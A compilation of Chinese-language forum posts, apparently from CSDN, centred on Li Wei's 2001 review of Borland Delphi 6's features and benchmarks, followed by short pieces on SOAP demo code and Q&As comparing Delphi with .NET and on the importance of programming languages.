也往Linux平台上開發RAD工具Kylix的時候，由Borland視窗開發小組所研發的原生視
窗開發工具正好填補了仍佔多數視窗程式師的需要。

由於資訊技術不斷的快速進步，許多視窗程式師也不斷的需要在應用系統中加入最
新的技術，或是使用這些新的技術開發下一代的應用系統。例如XML/XSL的盛行，
讓程式師對於如何處理和發揮XML的技術有強烈的需求，例如SOAP的逐漸成為遠端
和分散式計算的標準，因此程式師也需要使用SOAP來開發或是整合應用系統。更別
說由SOAP和WSDL/WSML，UDDI等技術所衍生出的最新Web應用系統標準Web
Service等。對於視窗平台上的程式師而言，即使是使用現在的開發工具，例如Delphi
4/5或是VB等也仍然可以利用這些新的資訊技術開發應用程式，但是如此做不但有一
定的難度，而且可能曠廢時日。

Delphi 6剛好可以幫助企業和程式師解決這些資訊技術上的困擾，Delphi 6不但在傳統
的開發能力方面持續的進步，讓程式師能夠享有更具生產力的開發環境，對於最新
的資訊技術，例如XML/XSL，SOAP，Web Service等都有非常良好的支援，讓程式師
能夠快速的使用這些新的技術。此外Delphi 6在核心執行時期函式館以及編譯器方面
也有了幅度不小的改善，不但讓程式師可以開發功能更強的視窗應用程式，也可以
更平順的移植到Linux平台，再搭配跨2平台的新視覺化元件Framework CLX，即使是
視窗的程式師也可以快速的開發Linux平台上的應用系統。
現在就讓我們趕快仔細的看看Delphi 6在各方面提供了什麼功能，到底值不值得視窗
的程式師使用她來開發視窗的應用程式吧。

強化的Delphi整合發展環境

就如同以往Delphi的每一個新版本慣例一樣，Delphi 6也持續的改善整合發展環境，
幫助程式師更有生產力。Delphi 6在整合發展環境中加入了數項致命的吸引力，讓程
式師對這些新的功能愛不釋手。下面就簡單的介紹這些新的整合發展環境功能。

Code Complete

Code Complete的功能在Delphi 5就已經加入了，這項功能非常受到程式師的歡迎，因
為Code Complete可以大幅的減少程式師需要鍵入的程式碼，並且減少打錯的機率。
Delphi 6的Code Complete功能又持續的加碼改善，新的Code Complete視窗不但可以由
程式師自行調整大小，以及以不同的顏色代表不同的物件，例如變數，方法和特性
等。

Delphi 6的Code Complete視窗加入了色彩分析，以及物件分門別類的能力

此外新的Code Complete視窗也會更聰明的過濾器物件能夠使用的PME，避免了以往
Delphi 5的Code Complete視窗無法顯示一些PME的困窘情形。最後如果程式師在新的
Code Complete視窗中選擇了呼叫方法之後，Code Complete現在也會自動的在方法名
稱之後自動加入();字元，把游標自動停在圓括弧之中，並且自動顯示這個方法需要
的所有參數，的確比以前更聰明和方便了。

Object TreeView

另外一個新的功能就是Delphi 6的Object TreeView視窗，這個新的視窗可以除了可以
顯示表單中所有的物件之外，也以階層的方式表達元件之間擁有者的關係。而當程
式師在Object TreeView視窗中點選了一個元件之後，這個元件也會立刻的出現在物件
檢視器之中讓程式師可以改變這個物件的特性值和事件處理函式。
本來當我一開始使用Delphi 6時，總是喜歡把Object TreeView視窗關閉，總覺得她佔
據了整合發展環境的空間，又沒有什麼作用。但是稍後才發現她的好處，特別是當
表單複雜，擁有大量的元件時，Object TreeView視窗可以讓你立刻的找到這個元件，
並且知道和她相關的元件，非常的方便。這比以往我使用物件檢視器辛辛苦苦的搜
尋元件好多了。

Delphi 6的Object TreeView視窗可以讓程式師快速找到表單中的任何物件

此外Delphi 6的編輯器也強化了Class Complete的功能，讓程式師擁有更大的彈性定義
類別程式碼。並且加入了Interface Complete的功能，讓程式師在撰寫介面程式碼時也
能夠享有Code Complete的功能。

可客製化的View視窗

Delphi 6最強勁的整合發展環境功能應該要算是新的可客製化的View視窗了，在
Delphi 6中，編輯器不但可以讓程式師觀看和編輯Object Pascal的程式碼，如果程式師
現在編輯的是Web應用程式，那麼也可以直接在編輯器中檢視HTML程式碼，稿本語
言程式碼，預覽Web應用程式執行的結果畫面，以及Web應用程式產生的真正HTML
程式碼。請仔細觀看本文第一個圖形的下方，熟悉Delphi的程式師應該會注意到編輯
器的下方多了數個頁次，例如HTML Result，Preview等，這些頁次就是可客製化的
View視窗。

除了剛才介紹的可客製化的View視窗之外，Delphi 6的編輯器也可以讓程式師直接檢
視XML和XSL的樹狀架構，更允許程式師自行開發客製化的View視窗整合到Delphi的
編輯器之中，可以說功能非常的強大，稍後在介紹Delphi 6的Web功能時，Delphi的程
式師便可以知道她的威力。

新一代資料存取引擎-dbExpress

Borland為了讓視窗平台的Delphi以及Linux平台上的Kylix有著共通的資料存取引擎，
因此決定開發新一代的資料存取引擎，那就是dbExpress。DbExpress是一組存取各種
不同關連資料庫的原生驅動程式，以及以組統一的元件。由於原生驅動程式和元件
都是以跨平台的考量開發的，因此Delphi和Kylix都可以使用這組驅動程式和元件。程
式師藉由統一的元件來存取不同的資料庫，以方便開發資料庫應用系統，下圖就是
Delphi 6的dbExpress元件組。

Delphi 6的dbExpress元件組

在4月的RUN!PC的Kylix介紹一文中我已經介紹過dbExpress，因此在本文只簡單的介
紹dbExpress的功能。

基本上dbExpress是使用所謂的Firehose引擎來存取資料，並且把異動資料的工作交給
MIDAS(MIDAS在Delphi 6中將改名為DataSnap)下圖便是DBExpress結合Firehose和
MIDAS的功能示意圖。

dbExpress的核心是數個簡潔的介面(Interface)組成的，這些介面定義了如何跟特定的
資料庫廠商介面溝通的ISQLDriver，如何連結資料庫的ISQLConnection，如何對資料
來源下達命令的ISQLCommand，如何控制Cursor的ISQLCursor，以及存取資料庫
MetaData的ISQLMetaData。這些介面定義的目標就是簡易，有效率，它們和Java的
JDBC有非常類似的觀念，但是Borland又提供了MIDAS來巧妙的結合這些介面，因此
提供了比JDBC高上數倍的生產力。

雖然dbExpress在Kylix中是1.0的版本，而在Delphi 6中則是1.x的版本，意謂Borland又
修正和改善了Kylix中的dbExpress。但是dbExpress的執行速度卻已經和開發多年的
BDE/IDAPI有著幾乎一樣的表現，絲毫不遜色，甚至有許多項目還比BDE/IDAPI表現
得更好。例如下圖是dbExpress和BDE/IDAPI在連結InterBase的表現，從下面的資料中
可以看出dbExpress還略勝一籌。

開啟資料庫 dbExpress BDE
時間 1.467 1.831

此外我還寫了一些測試程式，讓dbExpress和BDE/IDAPI隨機產生資料，並且異動到資
料庫之中。下面便是執行測試的結果，從這些數據中我們可以看出dbExpress和
BDE/IDAPI幾乎是不分上下的。

新增資料筆數 dbExpress BDE
10 0.052 0.036
100 0.334 0.342
1000 3.186 3.421
2000 6.514 6.732
10000 37.992 36.109

不過dbExpress更吸引人的地方是如果程式師知道如何微調它的話，那麼它幾乎可以
使用閃電般的速度處理資料。例如下面的資料便是經過我調整之後的dbExpress和
BDE/IDAPI比較處理資料的結果。從這些數據中我們可以看到調整之後的dbExpress幾
乎以快3倍的速度在處理資料，把BDE/IDAPI遠遠的拋在後面。看到這樣的結果，真
不禁今人佩服Borland開發dbExpress的功力。

新增資料筆數 dbExpress BDE 改良的dbExpress
10 0.052 0.036 0.047
100 0.334 0.342 0.206
1000 3.186 3.421 1.19
2000 6.514 6.732 2.686
10000 37.992 36.109 17.472

dbExpress除了在異動資料的速度方面超過BDE/IDAPI，在查詢資料方面也是大幅領先
BDE/IDAPI。例如下表是分別使用dbExpress和BDE/查詢大量隨機資料的結果，
dbExpress在這一方面也以3倍的時間勝出BDE。從各種數據顯示，dbExpress在各種處
理資料的工作方面幾乎都遙遙領先已經發展數年之久的BDE/IDAPI。

 | 查詢大量資料
dbExpress | 1.215
BDE | 4.826
最佳化後的 BDE | 3.171

除了dbExpress之外，Delphi 6仍然內附了最新的BDE/IDAPI，它包含了臭蟲修正以及
新的DB2驅動程式。此外也仍然包含ADOExpress，ADOExpress除了修正了許多臭蟲
之外，也加入了一些新的功能，最重要的是ADOExpress終於改正了在開發
Master/Detail型態的應用程式會碰到的問題，這應該可以讓許多程式師感到滿意，不
過Delphi 6的ADOExpress在Beta 4之中仍然是以MDAC 2.1版為基礎，並沒有昇級到最
新的2.7版，不知道Borland是否會在最後階段完成昇級的工作。

更好的COM+支援功能

Delphi 6在支援COM/MTS/COM+物件方面又再次的進行了加強的工作，除了在Type
Library編輯器增加功能之外，對於實作COM物件方面也加入了最新支援Neutral執行
緒模型的實作。例如下圖顯示了當我開發COM物件時，可以選擇各種執行緒模型型
態的COM物件。

Delphi 6允許程式師建立各種執行緒模型的COM物件，包括了最新的Neutral型態
的COM物件

此外當程式師需要實作特定的COM介面方法時，再也不需要像以往一樣辛苦的宣告
並且實作COM介面。Delphi 6的COM精靈可以讓程式師自由選擇要實作的COM介面，
然後幫助程式師自動產生所有的介面宣告程式碼。例如下圖是我要實作IActiveMovie
介面時，可以啟動Delphi 6的COM精靈，從介面選擇精靈對話盒中選擇IActiveMovie
介面，然後Delphi 6便會在編輯器中自動產生所有IActiveMovie介面的宣告程式碼，使
用介面精靈的好處是程式師不但更方便，而且在宣告介面定義時也不會出錯。

Delphi 6 的COM精靈可以幫助程式師自動宣告任何COM介面以及COM介面之中的
方法

type
  TIDelphi6 = class(TAutoObject, AccessObject)
  protected
    function Get__Name: WideString; safecall;
    function Get_Attributes: Integer; safecall;
    function Get_FullName: WideString; safecall;
    function Get_IsLoaded: WordBool; safecall;
    function Get_Name: WideString; safecall;
    function Get_Parent: IDispatch; safecall;
    function Get_Properties: AccessObjectProperties; safecall;
    function Get_Type_: Integer; safecall;
    { Protected declarations }
  end;

除了一般的COM物件之外，Delphi 6在支援MTS/COM+方面也以新的Transaction Object
和Transactional Data Module來取代以前的MTS Object和MTS Data Module，讓程式師可
以更方便的開發Microsoft DNA架構的應用系統。

Delphi 6以Transactional Object和Transactional Data Module同時支援MTS/COM+物件

開發Internet/Intranet應用系統的WebSnap元件組

Delphi 6中最重要的新增功能之一應該就要算是能夠讓程式師開發Internet/Intranet應用
系統的新架構和元件，這個新的功能稱為WebSnap。Delphi 6的WebSnap允許程式師
使用元件和視覺化的方式快速開發複雜的Internet/Intranet應用系統。WebSnap的特點
是允許程式師直接在這些元件之中加入稿本語言的能力，並且能夠直接在Delphi的整
合發展環境中撰寫稿本語言，預覽Web應用程式的輸出結果，以及Web應用程式產生
的HTML程式碼。
此外當程式師在開發Web應用程式時，經常需要使用許多的服務，例如處理圖形的元
件，上傳檔案的服務，Session的服務，搜尋檔案的服務，登錄和登出的服務等，
WebSnap都已經製作成了元件可以讓程式師直接使用，程式師再也不需要花費時間撰
寫這些程式碼。下圖便是Delphi 6WebSnap的元件組。

Delphi 6 的WebSnap提供了超過10個的元件

此外Delphi 6提供了Web App Debugger公用程式，允許程式師開發和除錯Web應用程
式，讓開發Web應用程式再也不是痛苦的流程。而WebSnap精靈更允許程式師建立不
同的Web應用程式，以及應用程式使用的快儲方式。例如下圖便是WebSnap精靈的畫
面，從這個畫面中可以看到Delphi 6能夠建立各種型態的Web應用程式。

Delphi 6的WebSnap精靈允許程式師建立各種不同的Web應用系統

在上圖中程式師建立Web應用程式時，也可以點選中間的Components…按鈕選擇
WebSnap精靈在自動建立Web應用程式時使用的WebSnap元件。例如下圖顯示了程式
師可以選擇使用的豐富的元件和服務。

Delphi 6的WebSnap提供了許多開發Web應用系統時需要使用的服務

由於WebSnap狀況結合稿本語言，因此程式師也可以指定WebSnap在自動產生稿本語
言時使用的稿本語言種類，以及產生的PageProducer的型態。例如下圖的畫面顯示了
程式師可以選擇使用JScript或是VBScript，可見WebSnap的彈性十足。

Delphi 6的WebSnap允許程式師使用JavaScript或是VBScript等 稿本語言

最後Delphi 6更棒的一點是WebSnap可以結合前面介紹的客製化View，讓程式師直接
在Delphi的整合發展環境中就可以預覽，開發和檢視Web應用程式的結果。例如下圖
是直接在Delphi的整合發展環境中使用稿本語言修改Web應用程式，而且稿本語言也
具有和Object Pascal一樣以不同顏色顯示不同語言元素的效果。

Delphi 6允許程式師在整合發展環境中直接使用稿本語言撰寫Web應用程式

至於下圖則是在Delphi的整合發展環境中直接檢視Web應用程式的預覽畫面，可以讓
程式師知道Web應用程式將來在瀏覽器中執行的結果。

Delphi 6的客製化View可以讓程式師在開發Internet/Intranet應用程式時在整合發展
環境中檢視Web應用程式的結果

總之，WebSnap讓Delphi 6在開發Internet/Intranet應用系統方面有長足的進步，提供了
非常好的整好開發環境。在未來WebSnap也將移植到Linux平台上，讓Kylix的程式師
也能夠使用相同的元件和技術開發Internet/Intranet應用程式。事實上程式師如果能夠
結合WebSnap和Delphi的資料庫能力，以及COM+的功能，將能夠開發出威力十足的
Web應用系統。

MIDAS的進化版本-DataSnap

在Delphi 6中，MIDAS將改名為DataSnap。DataSnap不但強化了MIDAS原有的功能，
更加入了許多新的元件，讓程式師可以使用它開發出更為強勁的應用系統，此外
DataSnap也改善了MIDAS的執行效率，讓使用它的應用程式能夠執行得更快速。下圖
是Delphi 6中DataSnap的元件組，從圖中可以看到數個新的元件。

Delphi 6的DataSnap元件組

此外在許多細節方面DataSnap也提供了以前MIDAS沒有的功能，例如直接以XML的形
式呈現MIDAS的Data Packet，和更細階的控制等。對於使用MIDAS開發應用系統的程
式師來說，新的DataSnap將會讓程式師更為滿意。

XML/XSL的支援

Delphi 6的另外一個重要的改良就是對於XML/XSL的支援了。除了增加許多新的VCL
元件讓程式師不必使用低階的COM介面或是複雜的API就可以輕易的處理XML/XSL文
件和資料之外，MIDAS的資料更可以直接輸出成XML，或是把XML的資料直接匯入
成MIDAS的Data Packet，Delphi的程式師再也不需要為複雜的XML程式設計傷腦筋了
。下圖就是Delphi 6和XML有關的元件。從圖中我們可以看到Delphi 6以VCL元件封裝
了XML Document，讓程式師直接使用Object Pascal來處理XML封裝的資料，並且允許
程式師選擇使用Microsoft的XML分析引擎，或是使用由IBM開發的XML分析引擎。

Delphi 6 中支援開發XML的元件組

除此之外，如果程式師需要處理大量以固定格式封裝的XML資料，那麼Delphi 6更提
供了一個視覺化精靈，讓程式師先匯入此XML檔案。此精靈便會自動分析此XML文
件，然後自動產生以Object Pascal封裝的程式碼，讓程式師直接可以呼叫自動產生的
程式碼中的方法來存取XML封裝的資料，不再需要使用XML Document元件來辛苦的
自己分析XML之中的資料，而且執行效率也比較好。
例如下面的圖形就是Delphi 6中XML Data Binding精靈的畫面。在這個精靈中我匯入
了一個封裝股市資訊的XML檔案，那麼這個這個精靈便會自動產生如下的Object

Pascal程式碼:

Delphi 6 的XML Data Binding精靈

在下面的程式碼中，我只需要存取TXMLStockType類別之中的功能，例如Get_Price，
就可以輕易的取得XML文件之中股票的價格，不再需要使用XML Document元件來分
析，這樣是不是快多了，而且不容易出錯呢?在支援XML方面，Borland的確為程式師
設想了許多的東西，也提昇了Delphi程式師許多的生產力，而XML Data Binding精靈
特別適合使用在程式師需要經常處理大量格式固定的XML文件。

  IXMLStockListType = interface;
  IXMLStockType = interface;

{ IXMLStockListType }

  IXMLStockListType = interface(IXMLNodeCollection)
    ['{F56A36C4-4014-11D5-8B76-E593B0087905}']
    { Property Accessors }
    function Get_Stock(Index: Integer): IXMLStockType;
    { Methods & Properties }
    function Add: IXMLStockType;
    function Insert(const Index: Integer): IXMLStockType;
    property Stock[Index: Integer]: IXMLStockType read Get_Stock; default;
  end;

{ IXMLStockType }

  IXMLStockType = interface(IXMLNode)
    ['{F56A36C5-4014-11D5-8B76-E593B0087905}']
    { Property Accessors }
    function Get_Exchange: WideString;
    function Get_Name: WideString;
    function Get_Price: WideString;
    function Get_Symbol: WideString;
    function Get_Volume: WideString;
    procedure Set_Exchange(Value: WideString);
    procedure Set_Name(Value: WideString);
    procedure Set_Price(Value: WideString);
    procedure Set_Symbol(Value: WideString);
    procedure Set_Volume(Value: WideString);
    { Methods & Properties }
    property Exchange: WideString read Get_Exchange write Set_Exchange;
    property Name: WideString read Get_Name write Set_Name;
    property Price: WideString read Get_Price write Set_Price;
    property Symbol: WideString read Get_Symbol write Set_Symbol;
    property Volume: WideString read Get_Volume write Set_Volume;
  end;

{ Forward Decls }

  TXMLStockListType = class;
  TXMLStockType = class;

{ TXMLStockListType }

  TXMLStockListType = class(TXMLNodeCollection, IXMLStockListType)
  protected
    { IXMLStockListType }
    function Get_Stock(Index: Integer): IXMLStockType;
    function Add: IXMLStockType;
    function Insert(const Index: Integer): IXMLStockType;
  public
    procedure AfterConstruction; override;
  end;

{ TXMLStockType }

  TXMLStockType = class(TXMLNode, IXMLStockType)
  protected
    { IXMLStockType }
    function Get_Exchange: WideString;
    function Get_Name: WideString;
    function Get_Price: WideString;
    function Get_Symbol: WideString;
    function Get_Volume: WideString;
    procedure Set_Exchange(Value: WideString);
    procedure Set_Name(Value: WideString);
    procedure Set_Price(Value: WideString);
    procedure Set_Symbol(Value: WideString);
    procedure Set_Volume(Value: WideString);
  end;

開發Web Service的精靈和元件

Web Service也是現在最熱門的Web技術了，不管是IBM或是Microsoft都在發展Web
Service的解決方案。Delphi 6在這方面也不落後，Delphi 6提供了SOAP和Web Service
精靈，讓程式師能夠快速的開發SOAP應用系統，也可以匯入WSDL自動產生骨架程
式碼。由於SOAP是未來Web和分散式應用系統的主流技術，而Web Service更是未來
Web應用系統的主要軟體架構，因此對於程式師來說，掌握這些技術便成了非常重要
的課題。

Delphi 6是Borland支援SOAP的第一個產品，由於SOAP是標準的協定，因此藉由
Delphi 6開發的SOAP應用系統可以和COM+，EJB或是Microsoft的.NET溝通，Delphi的
程式師現在就可以使用它開發未來的應用系統。下圖便是Delphi 6提供的SOAP精靈，
在Delphi 6中也提供了6個VCL元件讓程式師開發SOAP和Web Service的應用系統。

Delphi 6 允許程式師快速建立SOAP應用程式和Web Service

由Delphi 6 自動產生的SOAP模組

由於SOAP是Delphi 6重要的功能，又是現在最流行的技術，因此希望在未來的
RUN!PC文章中能夠有機會詳細的為各位介紹如何使用Delphi 6的SOAP和Web Service
技術開發應用系統 並且和其他的系統整合。

重新再造的執行時期函式館

對於Delphi 6和Kylix來說，Borland進行的隱形工程就是它們的執行時期函式館(Run
Time Library-RTL)了。Delphi 6的RTL不但為了跨平台而重新的整理過，而且加入了許
多新的RTL公用函式，以便讓程式師呼叫。這些新增的函式數目超過了數10個，例如
，光是有關DateTime的函式就有數10個。此外Borland為了讓Delphi 6中的Variant型態
和函式也能夠使用在Linux平台，因此特別新增了Variants.PAS這個程式單元，讓兩個
平台同時擁有Variant型態的變數和函式可以使用。
也許應該謝謝Kylix，在Delphi的執行時期函式館將近3個版本沒有什麼大幅改善的情
形下，在Delphi 6中Borland終於再次的重整和改善了核心函式館，也許對於大部份的
Delphi程式師來說可能沒有什麼感覺，但是經過改善的RTL不但功能更豐富，也避免
了因為VCL和RTL持續增加功能而會大幅增加編譯出來的執行程式大小巨幅增加的可
能。

第14版的Object Pascal編譯器

Delphi 6的編譯器為了支援視窗和Linux平台以及為了支援SOAP和Interface RTTI，因此
也進行了不小的改善。在Delphi 6中，以往以I Unknown為基礎介面的架構已經被更改
為IInterface，所有其他的介面都可以從IInterface繼承下來。IInterface定義了類似COM
中IUnknown介面所有的方法。Borland如此做是為了讓Window和Linux平台上的介面
機制都趨於一致。

此外Delphi 6也加入了一個新的介面IInvokable，任何從IInvokable介面繼承的介面以
及實作的類別都具備遠端啟動的能力。這個功能對於Web和分散式應用系統有重要的
影響。當然對於提昇Delphi成為分散式開發工具也有相當的效果，Borland在編譯器方
面持續的進步是值得肯定的。
不過，很可惜的是Borland並沒有在Delphi 6的Object Pascal加入try…except…finally這
個被許多Delphi程式師要求加入的語言架構，雖然這個架構在目前也可以使用巢狀的
try…try…except…end…finally來達成相同的效果，但是前者明顯的比較簡潔，而
Microsoft的C#和VB.NET則吸收了Object Pascal的這個語言優點，再加入了try…except
…finally架構。希望Borland能夠在未來的Delphi版本中也可以從善如流的加入。

產品總評

雖然前面的文章介紹了許多Delphi 6新增加的功能，但是仍然有許多的功能是本文沒
有介紹的，例如Delphi 6對於CORBA的支持和CLX等。下面的表格整理了Delphi 6中
重要的支援功能，並且附加了評語和得分以供讀者參考。

Delphi 6最主要的功能重點是在XML/XSL，Internet/Intranet以及SOAP和Web Service方
面的加強。又為了跨平台的目的，因此也在資料存取引擎，視覺化元件架構和執行
時期函式館方面進行了大幅度的改善。至於在BDE，ADO和COM+方面則只有小幅的
進步。

結論

當Microsoft不再推出VB/VC原生視窗開發工具，而Power Builder等其他視窗開發工具
也逐漸被淘汰出視窗平台之際，Delphi 6可以說是唯一最新的原生視窗開發工具，也
是最好的原生視窗開發工具。如果你仍然需要在視窗下開發應用系統，或是需要使
用/整合最新的資訊技術，那麼Delphi 6仍然是非常值得購買和昇級的開發工具。
不過希望在Borland全力發展Linux平台上的RAD工具時，不要忘記了視窗平台仍然有
許多的程式師需要最好的視窗開發工具，Borland仍然需要投注相當的資源和人力繼
續發展未來版本的Delphi。

Edited by - Gordon Li on 06/01/2001 18:43:15

相关帖子:

李维:.net vs delphi 6

delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事

看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具


CSDN_文档中心_李维的 Demo 中可以改进的地方

李维这次的内地之行（见《感受李维》一文）可以说在 Borland 的用户掀起了一场风暴，在几个比较大的程序员论坛上，这是这几最热门的话题之一，我在 CSDN 上发了一贴关于他上海之行的文字，结果成为我发过的有史以来反响最强的一个贴子。
在这次 Borland 举办的 WebService 技术研讨会上，李维做了几个 Demo 来演示 Borland 的 WebService 解决方案，这是几个非常好的 Demo ，它们以一种很简单的方式，较为全面地展示了用 Borland 的几个主要产品进行 SOAP/WebService 开发的实现，但是我认为其中还是有地方可以改进。

李维也是用打了 Update 2# 的 Delphi 6，这个版本的 Delphi 6 在 SOAP/WebService 应用开发方面有比较大的改进（见《DELPHI 6.02 抢先研究 -- BizSnap/SOAP/WebService 之四》一文），其中最大的改进之一便是 WSDL Import Wizard 。新的 WSDL Import Wizard 主要改进在：

  1. 增加了一个导入结果查看界面，可以以树形显示导入的 WSDL 中所含的接口内容，并且可以预览生成的接口单元；
  2. 生成的接口单元包含了 HTTP 远程接口对象生成；
  3. 支持新的 SOAP 标准，可以导入 Visual Studio.net 生成的 WSDL。

而上述几点中的第二点就是李维可以改进的一点。在《DELPHI 6 抢先研究 -- BizSnap/SOAP/WebService 之一》一文的例子中所采用的方法就是李维的 Demo 中所用的方法，即放上一个 HTTPRIO 控件，设置好 URL 属性，再用如下的代码来访问远程接口：

Var
  p : ISoapHello;
begin
  p := HTTPRIO1 As ISoapHello;
  Label1.Caption := p.GetHello( StrToInt( Edit1.Text ) );
end;

但是因为前面所说的 WSDL Import Wizard 的第二点改进，所以已经可以不用这么麻烦了，不需要再放 HTTPRIO 控件，而且代码也简单得只要一句：

  Label1.Caption := GetISoapHello.GetHello( StrToInt( Edit1.Text ) );

其中的 GetISoapHello 是一个函数，返回一个实现 ISoapHello 远程接口的对象，在导入 WSDL 时生成的接口单元文件里定义并实现的，它的功能就是新建一个 HTTPRIO 对象，并根据 WSDL 设置好所有的属性。

[Mental Studio]猛禽 Apr.13-02


CSDN_文档中心_李维看 .net 和 DELPHI 6 (含李维照片)

引子:在《.NET的衝擊》中争论的不可开交，纷纷要求李老师出面

嗯, 我又被點名了. 本來我已經在整理一篇文章, 有關Delphi/Delphi.NET和Microsoft.NET的內容, 但是我一直沒有時間完成(我已經在論壇上說了好幾次了). 有些事情我並不方便說, 這些事情應該由Borland的人來說, 例如Tomm兄(转贴者注:台湾宝兰产品经理), 他有關Borland的資訊應該是比較正確的, 因為我是Delphi 6的Beta Tester, 也是Microsoft .NET的Beta Tester.

我可以簡單的說一下我的看法, 不過這些看法是我個人的意見, 各位可以參考一下.

1. Delphi 6仍然將是Window下最好的原生開發工具, 至少在2,3年之內如果我要寫傳統的 原生App, Delphi 6是首選. 只是希望Borland不要急著推出Delphi 6.

2. .NET仍將逐漸成為Window下主流的開發環境, Window下的工具廠商都需要支援. 不過這可能需要最少1到2年的時間.NET才會成為主流.

3. 在.NET開始的版本中, COM+仍然是核心技術. 雖然.NET有了新的元件模型, 類似VCL, 只是可以使用在所有支援.NET的語言中. 但是有關Pooling, Transaction等仍然是靠COM+完成的. 所以COM+仍然非常重要.

4. 在Beta 1中.NET的data-aware做得仍不如Delphi, 但是Beta 2有了改善.

5. 我喜歡C#, 但是我也喜歡Object Pascal. 兩個語言各有優缺點. Borland可以在Delphi.NET中繼續改善Object Pascal. 那麼我可能仍然會用Object Pascal.

事實上我認為.NET的Framework雖然完整, 但是.NET的Framework在我來看仍然和VCL的Component Framework有一點差距. .NET的Framework和Java的class比較接近, 大都需要程式師寫一堆的程式碼. Borland的專長就是設計Framework, 例如OWL, VCL都比Mirosoft設計的好. 因此Borland可以在.NET的Framework上再架構一個比較偏向VCL這種Component Framework, 那麼我們Borlnders就可以在Delphi.NET中享受比使用Microsoft.NET的人更高的生產力. Borland不需要再寫另外一個Framework和.NET Framework競爭, 相反的要好好的利用.NET Framework來建立更棒的.NET VCL. 如此一來即可以避免以往Microsoft利用OS優勢來打擊Borland, 例如MFC對OWL, 又可以建立一個功能完整, 方便好用的Framework來回擊Microsoft.

.NET的確對Borland是一個嚴厲的考驗, 不過我不擔心Borland無法應付. 只要Borland投入足夠的資源, 就像投入JBuilder一樣. 我只是擔心Borland讓一個Team開發Delphi, C++ Builder, Kylix, Kylix For C++. 那麼就不妙了, 這也是我最不能接受的. Delphi明明還為Borland賺不少錢, 卻不投入相對的資源, 有點不公平. 嗯說太多了, 應該閉口讓Tomm來發表一下.

李維

象不象你家对门的热心大哥？：）

附录:

以下是论坛的其它内容:

问:不是六月份就要出貨了嗎？怎麼說不急呢？

答:哈哈, 我裝作不知道6月要出貨好了.

问:不曉得正式版何時出？我覺得好奇怪為什麼M的產品beta版本就這麼多人用？

答:年底左右. 這是Microsoft和Borland策略的不同，不過我希望Borland能夠再開放一

點，例如Borland 1是的Beta Tester就有超過上萬人，這是Borland有史以炊來最大的測試計劃. 至此之後就再也沒有了。

问:嗯！沒錯在之上還可以架Framework！不過我覺得Java當中Package的概念使得函式庫很容易理解，並且其語言有相當多的特色，其I/O就可以寫一本書了。

答:.NET也很好，光是.NET中有關XML/SOAP的類別也可以寫好幾本書。也許我是屬於實用派，因此不管是Delphi，Java或是.NET我都以實際的『使用性價值』來看。從我個人的觀點來看，除非SUN繼續強化Java，否則.NET的架構在目前是比較好，只不過.NET是只定位在Window系列的平台。SUN的Hot Spot Compiler已經成為笑話，但是由Anders領軍的.NET可不是開玩笑的。現在.NET Beta1的速度已經超過Java，等到Beta 3開始調整速度時，.NET可能會勝過Java許多。

问：Borland的研發人員真是戰將啊！另外，JBuilderd的專書似乎少之又少，在國外應該比較風行吧！

答：嘻，如果你往好的方向解釋也可以，只是我怕Borland投入的資源不夠多，而造成歷史覆轍，希望我是多慮的。 JBuilder的確是在英/美語系的國家賣得很好。

李維

相关帖子:

李维:我的回忆和一些有趣的事

看IT风云变幻,宝兰与微软背后的故事,

李维:2001 年軟體界的巨星 - Kylix

看宝兰, 一年之间连续推出kylix1.0 ,interbase6.0, delphi6,jbuilder5 ,c++builder6也不日即出,敬请关注宝兰2001年与微软对绝的杀手锏kylix

陈宽达: 遊戲程式設計初學者常遇之疑問

明修栈道,暗渡陈仓,陈宽达点指开发工具


CSDN_文档中心_李维问答集之语言真的不重要吗？

问方为读者：

答方为李维

问：僅僅比較各種語言的優缺點，其實沒有太多意義。這只是個人的習慣而已。很多專家對語言的比較，其實都帶有個人的偏好。

答：我不贊成, 如果只是比較各種語言的優缺點, 而沒有再深一層的想想每種語言為什麼會這樣設計, 代表的意義是什麼的話, 那麼顯然沒有以PL的觀點來看, 當然也只能以個人的喜好來判斷了.

问：所有的語言之間的比較，最終都會歸結到對語言所依賴的Runtime的比較。
所有的語言都像C#一樣都有Runtime，VB 有VB runtime，C/C++有 C/C++ Runtime Library，Delphi有Delphi VCL。只不過.NET 和Java的runtime是動態的而已。語言是工
具，Runtime才提供功能。

答：.NET的Common Runtime Environmet或是Java的VM, 都只是提供了一個虛擬執行環境, 只是JVM只需要關心Java一種語言, 而.NET需要關心數種不同的語言, 相比之下.NET的runtime會比較複雜. 不過.NET的runtime並不能停止語言創意的發展. 有許多人說在.NET下語言不重要, 我卻不怎麼認為, 更不希望會如此. 因為語言是應該依據創意和需要進步的, .NET只是提供一個基礎, 但是語言卻可以不斷的加入新的想法. 例如當Borland把Object Pascal移植到.NET上時, 可以實作出更多的創意和編譯技術.

這是什麼意思呢?如果真的有注意Object Psacal的語言進步, 那麼我們會發現Object Pascal從Delphi 4之後加入Interface的觀念和功能, Delphi 5加入了semi-delegation, Delphi 6加入了common interface的觀念, 更棒的是Delphi 6的interafce可以擁有remote invokation, 而且可以克服傳遞複雜資料型態的功能. 這在SOAP和Web Service方面貢獻卓越, 連Microsoft的SOAP Toolkit都無法輕易做到的事情可以由Delphi 6的 invokable interafce做到. 再加上為interface加入RTTI的功能, 可以讓程式師設計出功能強大的架構. 當然幫助最大的是對於工具, 元件和精靈開發者. 這個語言功能和創意又怎會不重要?

另外Delphi的VCL不是runtime, 只是元件架構, Delphi 6和Kylix的runtime現在是很強的.

问：我覺得倒是.NET給了大家一個機會，當語言的Runtime降到了作業系統一層，那麼作業系統>升級，語言也會跟著進步。當所有語言的Runtime都統一了之後，選擇語言就只是個人喜好>的事情了。Java做了前面一件事情，而.NET还会做后面一件事情。

答：那是指runtime環境功能的進步, 而不代表語言的進步. 語言會是步伐更快的進步標地. 現在.NET中的VB.NET, C#和VC是因為提昇到彼此差不多的地步, 因此會說語言不重要, 但是隨著時間的過去, 語言的差異又會逐漸出現, 許多巧妙的設計和構思也會顯現.

李維

相关帖子:

李维:.net vs delphi 6

delphi6 爆发还是灭亡？

李维:我的回忆和一些有趣的事

